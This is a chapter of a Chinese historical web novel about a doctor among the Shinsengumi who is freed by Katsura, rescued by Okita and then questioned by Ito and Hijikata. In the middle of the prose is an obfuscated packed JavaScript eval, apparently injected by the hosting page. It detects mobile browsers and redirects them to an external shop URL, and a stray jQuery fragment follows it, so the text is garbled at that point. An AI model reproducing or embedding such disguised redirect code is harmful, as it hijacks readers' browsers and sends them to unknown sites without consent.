45.第四十四章
作品:《幕末行医记:病人是冲田总司》 福泽最后认真地说出了自己作为医生,始终坚守的信条。
“在我的面前,只有需要被救治的生命,没有阵营之分。无论是新选组的队士,还是普通的町人,甚至是攘夷志士,只要他们需要救治,我都会毫不犹豫尽到一个医生的职责。这就是我能做的事,也是我必须做的事。”
桂为她这一番话彻底动容了。
他沉默良久,最终还是站起身,走到福泽身边。
他并没有解开她手上的绳索,而是将一柄锋利的短刀,轻轻放在了她的手边。
桂虽然敬佩福泽的为人与信念,愿意放她离开,但他并未达到完全信任她的地步。
她的身后,可是新选组那群在池田屋疯狂厮杀的壬生狼。
留下短刀,是给她自救的工具,也是给自己和同伴留足撤离的时间。
“福泽医生,既然这是你的答案……”
桂看着她,尊敬地对她说道:“那么,请离开这里吧。今日之事冒犯了,龙马真是认识了一位了不得的朋友啊。”
说完,他最后看了福泽一眼,转身快步离开了仓库,并细心地从外面将门掩上。
仓库内重归寂静,只剩下了福泽一个人。
她侧过身,用尚能活动的手指,小心地摸索到那柄冰凉的短刀,开始切割绑在自己手腕上的粗糙绳索。
西本愿寺新选组屯所。
今天的天色灰蒙,阴云盘旋,压抑得如同众人此刻的心情。
土方眉头紧锁,近藤坐在他的身侧,面色与他一样凝重。
离他们不远处,伊东正好整以暇地端着茶杯,眼神平淡地扫过在场的众人。
福泽自从昨天出门之后一夜未归,直到现在都下落不明,这是她在新选组这么久以来从未有过的事情。
从前她即使耽搁太晚,也一定会在晚上赶回新选组屯所,至少也会提前和其他队长打过招呼。
压抑的沉默被匆忙的脚步声打破,山崎快步走入,额角带汗,显得很匆忙。
“副长、局长,福泽医生昨晚应该是被几个攘夷志士带走了!”
“什么?”近藤闻言,突然站起身来。
伊东放下茶杯,嘴角勾起若有若无的一抹冷笑,“果然如此,我早就说过,来历不明之人不可轻信。福泽医生恐怕就是长州派来的奸细,上次信的事也就算了,但这一次应该就是任务完成,要与同伙一同撤离了吧?”
“伊东先生!”土方打断了他的话,“这件事暂时还没有定论,身为新选组的医生,被那些激进的攘夷派抓走以作要挟,也是极有可能的。”
他的目光直视伊东,这家伙总在找机会揭露福泽的底细。
伊东却毫不畏惧地回视,语气中带着刻意的惊讶,“哦?土方先生如此笃定地为她辩护,莫非你与长州方面,也有些我们不知道的联系?我要是没记错,之前那个叫阿蕗的女子,不就是长州的奸细么?”
他故意提起阿蕗的事,是因为他后来知道了土方等人并未追杀阿蕗,而是任由其逃走了。
土方伸手一拍地面,额角青筋微跳,“这种话请不要乱说!不管到底怎样,现在重要的是尽快把人找到。”
剑拔弩张的紧张气氛中,几位队长下意识地按住了刀柄,蓄势待发。
一直沉默地坐在角落的冲田突然站了起来,他的脸色在昏暗的光线下显得有些苍白,那双总是含着笑意的眼睛此刻却很淡然。
“我要去救医生。”
他的声音不大,却清楚地传遍了整个房间。
土方深吸一口气,强压下怒火,看向冲田,“总司!福泽也的确有嫌疑,这件事还需要从长计议!”
“从长计议?”冲田的声音突然提高了几分,带着少有的激动,“她为我们的付出有目共睹!日夜不休的救治伤员,现在她生死未卜,还有什么可商议的?”
他紧紧盯着土方,胸膛因激动的情绪而微微起伏。
“总司,不要意气用事,搞清楚你的立场!”土方低声吼道,试图用威严压制他。
冲田看了眼土方,之后就抬起手脱下了那身代表新选组的浅葱色羽织,整齐地叠放在身旁。
他再次抬头时,眼神里只剩下果断。
“我很清楚我在做什么,所以现在,我不是以新选组一番队队长的身份,而是以陆奥国白河藩士之子冲田总司的身份行动。这样可以了吧?土方先生。”
说完,他不等土方回应,已经转身大步向外走去,没有丝毫的犹豫。
“总司!”
永仓、原田和藤堂三人面面相觑,随即几乎同时起身。
永仓呵斥道:“总司说得对,福泽医生现在也许正处在危险中,我们是同伴,不能丢下她不管!”
三人迅速跟上冲田的脚步,一同离开了屯所。
土方看着空荡荡的门口,又气又无可奈何,“全都造反了!”
近藤叹了口气,走上前按住他的肩膀安慰道:“阿岁,先救回医生要紧,之后的事情晚点再说也不迟。不要因为这种事闹得不愉快,我现在就去组织其他队士也帮忙寻找。”
那四人跑到街上,原田有些无奈地对走在最前面的冲田说道:“总司,话虽如此,咱们现在根本不知道医生被关在哪里啊。”
冲田头也不回,声音透过冰冷的雨幕传来,“那就一间一间地找,就算翻遍整个京都,总能找到她的下落!”
与此同时,京都某处废弃的仓库。
福泽靠在湿冷的墙壁上,艰难地用短刀切割着手腕上的麻绳。
刀刃很锋利,但手腕被捆住的角度别扭,她好几次都不小心划伤了自己的皮肤,渗出的血迹染红了粗糙的绳结。
她咬着牙,也顾不上疼痛,心中只有一个念头,要赶紧离开这里。
终于,啪的一声轻响,绳索应声而断。
福泽活动了一下僵硬酸痛还布满淤痕和细小伤口的手腕,踉跄着站起身。
饥饿和缺水让她有点头晕目眩,但求生的本能依旧支撑着她行动。
她推开仓库木门,外面正下着瓢泼大雨,天色昏暗。
顾不得许多,福泽一头扎进雨中,在迷宫般的小巷中仓皇奔跑。
冰冷的雨水打湿了她的头发和单薄的衣衫,寒意刺骨。
脚步声在空旷的巷子里回响,混合着她急促的喘声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955048|190697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不知跑了多久,视线因雨水和虚弱而变得越来越模糊。
忽然,前方巷口出现了几个模糊的人影,看着怎么像是冲田他们?
是幻觉吗?她用力眨了眨眼。
“总司?还有平助,你们……”她嘶哑地喊道,用尽力气向他们跑去。
然而,虚弱的身体终究还是到了极限。
脚下一个不稳,她重重地摔倒在冰冷的积水里,泥水瞬间溅满了全身。
“医生!”冲田第一个发现了她,脸色瞬间一变,立刻朝她飞奔过来。
他毫不犹豫地蹲下身,将浑身湿透、沾满泥泞的福泽背到自己背上。
“终于找到你了,现在已经没事了。”
永仓等人也迅速围拢过来,护送着将福泽带回了西本愿寺。
回到福泽的房间之后,基于情况紧急现在阿蕗又不在了,冲田只能闭着眼小心地替她换上了一身干净的衣服。
毕竟穿着湿衣服的话,很容易感冒。
等她稍微清醒些之后,勉强吃下一些食物,身体依旧有些虚弱,但审讯还是不可避免地到来。
土方让山崎把她喊了过去。
房间内气氛紧张,土方、近藤、伊东等人都在。
伊东看着福泽,率先发难,“福泽医生,长州藩的攘夷志士,他们为什么会绑架你?”
福泽脸色苍白,眼神却还算镇定,“或许……他们认为我对新选组有利用价值吧?不管怎么说,我是个医生,救治队士在他们看来,就是在增加他们敌人的数量。”
伊东并不满意这个答案,继续追问道:“可是仅凭你一个人,是怎么从那些家伙手中逃出来的?他们会这么轻易地放过你?”
福泽正在飞速思考如何解释才能撇清与攘夷志士的关系,而不暴露自己与桂的谈话,这些在新选组看来无疑会成为她通敌的证据。
就在这时,坐在一旁的冲田开口了。
“是我把她救出来的,我们找到了一处废弃的仓库,长州人把她关在里面。那些家伙一看到是我们,就慌张地逃跑了。”
他的谎言说得十分自然,眼神没有丝毫躲闪,听起来也很合乎情理。
“没错,就是这样!”永仓立刻附和,“那帮胆小鬼跑得比兔子还快!”
藤堂和原田也纷纷点头。
伊东的目光在冲田和福泽脸上来回扫视,显然并不完全相信,但在冲田和三位队长的证词下,他也无法直接说福泽与攘夷志士究竟有没有私通。
他冷哼一声,意有所指地说道:“看来福泽医生吉人天相,不过经此一事,医生日后出门,最好还是带上几个队士护卫吧。要我来说,即使是医生,在这乱世之中,剑术也不能落下。冲田队长作为剑术指导,应该对此多上心才是。”
说完,他拂袖离开。
伊东一走,土方当即冷着脸下令,“总司,违抗命令私自行动,禁闭三日,即刻执行!”
“副长!”永仓等人还想为冲田求情。
“你们几个也想陪他一起吗?”
土方厉声打断。
“至于福泽,”他目光转向她,“我有些话要单独同你说。”

